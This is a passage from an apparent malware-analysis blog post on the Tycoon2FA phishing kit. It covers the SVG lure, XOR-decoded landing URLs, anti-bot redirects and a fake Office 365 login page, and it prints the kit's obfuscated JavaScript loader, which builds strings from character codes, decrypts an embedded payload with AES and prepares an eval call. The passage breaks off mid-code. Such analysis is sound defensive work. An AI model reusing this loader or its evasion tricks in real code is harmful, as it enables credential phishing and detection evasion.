&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/deobfuscation-1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;again, no luck this time, I am not sure what anti-analysis they have implimented from their server side, that the landing page links are up and running with some &lt;em&gt;jitter&lt;/em&gt; I believe, to deter the analysis.&lt;/p&gt;

&lt;p&gt;But as I was digging through the latest of samples, I noticed that the threat actor has sent 2 sweet phishing mails, one of them was fully active and functional, I grabbed it by neck and in the below segment you’ll see how sophisticated phishing campaign it is.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Deep Dive into Tycoon2FA Phishing Kit &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/XOR-encrypted.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The execution sequence goes normal as expected, based upon .svg Phishing - Variant 1 as discussed above, so we have -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/XOR-Decrypting.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;and as per our ritual, via following the steps for XOR decryption, we arrive at the landing page URL -&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://kiabm[.]rqctvku[.]es/SHHt6AK@bWpW78x5b6/$&amp;lt;Base64_encoded_variable_J&amp;gt;&lt;/code&gt;, here &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;J&lt;/code&gt; is simply the target user’s mail, which will be used on several occassions, to pre-populate the email field and such. I am going to refer this particular URL as primary landing page URL from now onwards, for the sake of convenience.&lt;/p&gt;

&lt;h2 id=&quot;anti-analysis-and-anti-bot-protection&quot;&gt;Anti-Analysis and Anti-Bot protection&lt;/h2&gt;

&lt;p&gt;What happens when we try to open the primary landing page URL (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://kiabm[.]rqctvku[.]es/SHHt6AK@bWpW78x5b6/$&amp;lt;Base64_encoded_variable_J&amp;gt;&lt;/code&gt;) via mobile device?
&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Anti-analysis-1.jpg&quot; /&gt;
and/or
&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Anti-analysis-2.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;and if you reloaded the redirect URL from the landing page above, with/without sending the credentials, its going to perform an anti-analysis maneuver -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Anti-bot-anti-analysis.png&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;chain-of-execution-normal-phishing-workflow&quot;&gt;Chain of Execution (normal phishing workflow)&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Cloudflare-Turnstile-verifying.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First you encounter the Cloudflare Turnstile Captcha,&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/o365-Redirects.png&quot; /&gt;
and then the end user will see some neat and seamless redirects, here is an opportunity for the user to recall the corporate phishing training lessons,&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/O365-landing-page.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;then there’s the landing page, ready for credential harvesting. One important thing I had noticed during my analysis is that - it performs server side checks for the credential being entered, ensuring that it re-prompts the user if they aren’t right in the first try.&lt;/p&gt;

&lt;p&gt;Moving ahead, we can do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;view-source:&lt;/code&gt; trick to fetch the source code of the final landing page, and we can observe two different function blobs/snippets as follows - (in-depth explanation below)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; This is the 1st function snippet, I will showcase the 2nd one in later segment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Function-Blob-1.png&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;runtime-dynamic-decryption-routine-and-anti-analysis&quot;&gt;Runtime Dynamic Decryption Routine and Anti-Analysis&lt;/h2&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;...[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;114&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;112&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;YZgLDUCFEh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;YZgLDUCFEh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;121&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;116&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;111&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;74&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;83&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// UjBpjGaycy = [&apos;r&apos;, &apos;p&apos;, &apos;C&apos;, &apos;y&apos;, &apos;t&apos;, &apos;o&apos;, &apos;J&apos;, &apos;S&apos;]&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;ZzKiBWTICw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// &apos;C&apos;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// &apos;r&apos;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// &apos;y&apos;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// &apos;p&apos;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// &apos;t&apos;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// &apos;o&apos;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// &apos;J&apos;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;UjBpjGaycy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;// &apos;S&apos;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ZzKiBWTICw = &quot;CryptoJS&quot;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Dynamically constructing string “CryptoJs” to avoid static detection&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;globalThis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ZzKiBWTICw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// htPOSCUJJB is now the CryptoJS object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;and then script accessing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CryptoJS&lt;/code&gt; library in global scope,&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;yofQrrnXHZ&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;KmYDStqAUf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// key&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cgSjYSUtqZ&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;QfPcobweVK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// IV + ciphertext&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Converting the base64 strings into binary data usable by CryptoJS.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;jjCuOPmkZm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;lib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WordArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cgSjYSUtqZ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;words&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// IV (16 bytes)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;IUEAQeJbbN&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;lib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WordArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;cgSjYSUtqZ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;words&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;cgSjYSUtqZ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sigBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// ciphertext&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;The first 16 bytes of the decoded data are the IV.&lt;/li&gt;
  &lt;li&gt;The rest is the encrypted payload.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;jAeRNWFTRc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ciphertext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;IUEAQeJbbN&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;yofQrrnXHZ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;jjCuOPmkZm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CBC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pad&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Pkcs7&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Uses AES decryption in CBC mode with PKCS7 padding.&lt;/li&gt;
  &lt;li&gt;Key: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yofQrrnXHZ&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;IV: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjCuOPmkZm&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Ciphertext: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IUEAQeJbbN&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;uXUrEWQiOC&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;jAeRNWFTRc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;htPOSCUJJB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The decrypted payload is then converted to a string.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;eQtKbRsGby&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;uXUrEWQiOC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cyOvjxuVfk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; 
                       &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; 
                       &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{});&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oEvmbrlUdG&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;101&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;118&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;97&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;108&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;FwgweoUprb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;FwgweoUprb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot;eval&quot;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;jSYgmYMWcC&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;111&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;110&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;115&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;111&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;108&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;101&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;FELOOzfhHO&lt;/span&gt; &lt;span 